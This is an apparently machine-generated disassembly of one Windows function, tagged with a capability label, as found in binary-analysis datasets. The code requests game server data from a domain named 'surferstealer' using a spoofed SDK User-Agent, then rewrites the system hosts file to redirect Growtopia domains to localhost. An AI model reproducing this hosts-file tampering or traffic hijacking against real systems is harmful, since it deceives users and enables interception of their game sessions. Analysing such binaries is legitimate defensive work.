Function at 0x140062dd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x270
mov rax, qword [0x1401113d8]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor r14d, r14d
mov dword [rsp + 0x30], r14d
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe8], xmm1
lea ecx, [r14 + 0x60]
call fcn.1400d0840
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0xe8], rax
lea rax, str.User_Agent
mov qword [rsp + 0x38], rax
lea rax, str.UbiServices_SDK_2019.Release.27_PC64_unicode_static
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xe8]
call fcn.1400122f0
lea rax, str.Host
mov qword [rsp + 0x38], rax
lea rax, str.www.growtopia1.com
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xe8]
call fcn.1400122f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x118], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0xf8], xmm1
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
lea edx, [r14 + 0x20]
lea rcx, [rsp + 0xf8]
call fcn.140003ea0
mov rdx, rax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x108], Ordinal_30
mov qword [rsp + 0x110], Ordinal_35
movups xmm0, xmmword [str.https:__api.surferstealer.com]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400e5250]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400e5258]
mov dword [rax + 0x18], ecx
movzx eax, byte [0x1400e525c]
mov byte [rdx + 0x1c], al
mov byte [rdx + 0x1d], r14b
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x1400dc610]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x58], r14b
movups xmmword [rsp + 0x38], xmm0
movdqu xmmword [rsp + 0x48], xmm1
mov byte [rsp + 0x38], r14b
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x118]
call fcn.140014a70
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140062fa5
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062fa0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062fa0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d087c
movdqa xmm0, xmmword [0x1400dc610]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140062ff9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062ff3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062ff3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d087c
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14006303f
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006303a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006303a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d087c
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xf8], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x38]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov ecx, 0x60
call fcn.1400d0840
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x38], rax
mov r8, rax
mov rdx, qword [rsp + 0xe8]
mov rdx, qword [rdx + 8]
lea rcx, [rsp + 0x38]
call fcn.14000c920
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x38]
mov rdx, qword [r8 + 8]
cmp byte [rdx + 0x19], 0
jne 0x140063123
mov rcx, qword [rdx]
cmp byte [rcx + 0x19], 0
jne 0x1400630ef
mov rdx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x1400630e0
mov qword [r8], rdx
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rdx + 8]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x14006311d
nop word [rax + rax]
mov rcx, rax
mov rax, qword [rax + 0x10]
cmp byte [rax + 0x19], 0
je 0x140063110
mov qword [rdx + 0x10], rcx
jmp 0x14006312f
mov qword [r8], r8
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x10], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x78], rax
mov rbx, qword [rsp + 0x118]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
mov ecx, 0x60
call fcn.1400d0840
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], rcx
lea rcx, [rbx + 0x120]
lea rdx, [rsp + 0x58]
call fcn.140019530
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x58]
call fcn.14000d8e0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
call fcn.14000d8e0
mov rax, qword [rsp + 0x118]
mov byte [rax + 0x3c8], 0
mov rax, qword [rsp + 0x118]
mov qword [rax + 0x170], 2
mov qword [rax + 0x178], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
mov rbx, qword [rsp + 0x118]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0xe0], r14
movdqu xmmword [rsp + 0x38], xmm0
mov ecx, 0x60
call fcn.1400d0840
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
lea r8, str._system_growtopiaapi_CanAccessBeta1
lea rdx, [rsp + 0x128]
mov rcx, rbx
call fcn.14001be00
nop
mov rcx, qword [rsp + 0x38]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x1400632ab
mov r8, qword [rdi + 0x10]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
call fcn.14000db10
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.1400178e0
mov edx, 0x60
mov rcx, rbx
call fcn.1400d087c
cmp byte [rdi + 0x19], 0
je 0x140063271
mov rcx, qword [rsp + 0x38]
mov edx, 0x60
call fcn.1400d087c
mov esi, 6
mov dword [rsp + 0x30], esi
cmp dword [rsp + 0x130], 0
jne 0x140063452
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rax
mov rdx, qword [rsp + 0x128]
add rdx, 0x58
lea rcx, [rsp + 0x88]
call fcn.140014270
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14003a230
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 4
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x38], 0x74726f70
mov byte [rsp + 0x3c], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xf8]
call fcn.14002a660
test rax, rax
je 0x1400633a8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea r8d, [rsi - 2]
lea rdx, str.port
lea rcx, [rsp + 0x58]
call fcn.14000c5f0
nop
mov esi, 7
mov dword [rsp + 0x30], esi
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0xf8]
call fcn.14002a660
lea rcx, [rax + 0x38]
cmp qword [rcx + 0x18], 0x10
jb 0x140063399
mov rcx, qword [rcx]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, qword [0x14014f500]
jmp 0x1400633b2
mov rcx, qword [0x14014f500]
mov eax, dword [rcx + 0x50]
mov dword [rcx + 0x50], eax
test sil, 1
je 0x140063403
and esi, 0xfffffffe
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140063403
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400633fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400633fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d087c
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140063444
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006343e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006343e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d087c
nop
lea rcx, [rsp + 0xf8]
call fcn.140024b60
nop
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x138]
call fcn.14000d8e0
mov rbx, qword [rsp + 0x128]
test rbx, rbx
je 0x14006348a
mov rcx, rbx
call fcn.140018a30
mov edx, pe_nt_image_headers64
mov rcx, rbx
call fcn.1400d087c
nop
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x1400634a2
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rcx, qword [rsp + 0xe8]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x1400634f7
mov r8, qword [rdi + 0x10]
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xe8]
call fcn.14000db10
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.1400178e0
mov edx, 0x60
mov rcx, rbx
call fcn.1400d087c
cmp byte [rdi + 0x19], 0
je 0x1400634b4
mov rcx, qword [rsp + 0xe8]
mov edx, 0x60
call fcn.1400d087c
nop
jmp 0x14006350b
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x150]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400e2f18]
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 8
mov dword [rsp + 0x30], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rbx
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x158]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x158], rax
mov byte [rsp + 0x1d4], 0
mov byte [rsp + 0x1c9], 0
lea rcx, [rsp + 0x158]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x1d8], r14
mov rax, qword [0x14014f3e8]
mov qword [rsp + 0x1cc], rax
mov qword [rsp + 0x1c0], r14
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.C:WindowsSystem32driversetchosts
lea rcx, [rsp + 0x158]
call fcn.14005dd00
test rax, rax
jne 0x140063638
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x150]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
cmp qword [rsp + 0x1d8], 0
je 0x140063694
lea rdx, str.127.0.0.1_www.growtopia1.com_n127.0.0.1_www.growtopia2.com
lea rcx, [rsp + 0x150]
call fcn.14000b400
lea rcx, [rsp + 0x158]
call fcn.14004aa90
test rax, rax
jne 0x14006368d
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x150]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov byte [0x14014f4dc], 1
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x150], rbx
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x158]
call fcn.14004a500
lea rcx, [rsp + 0x160]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400d0820
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret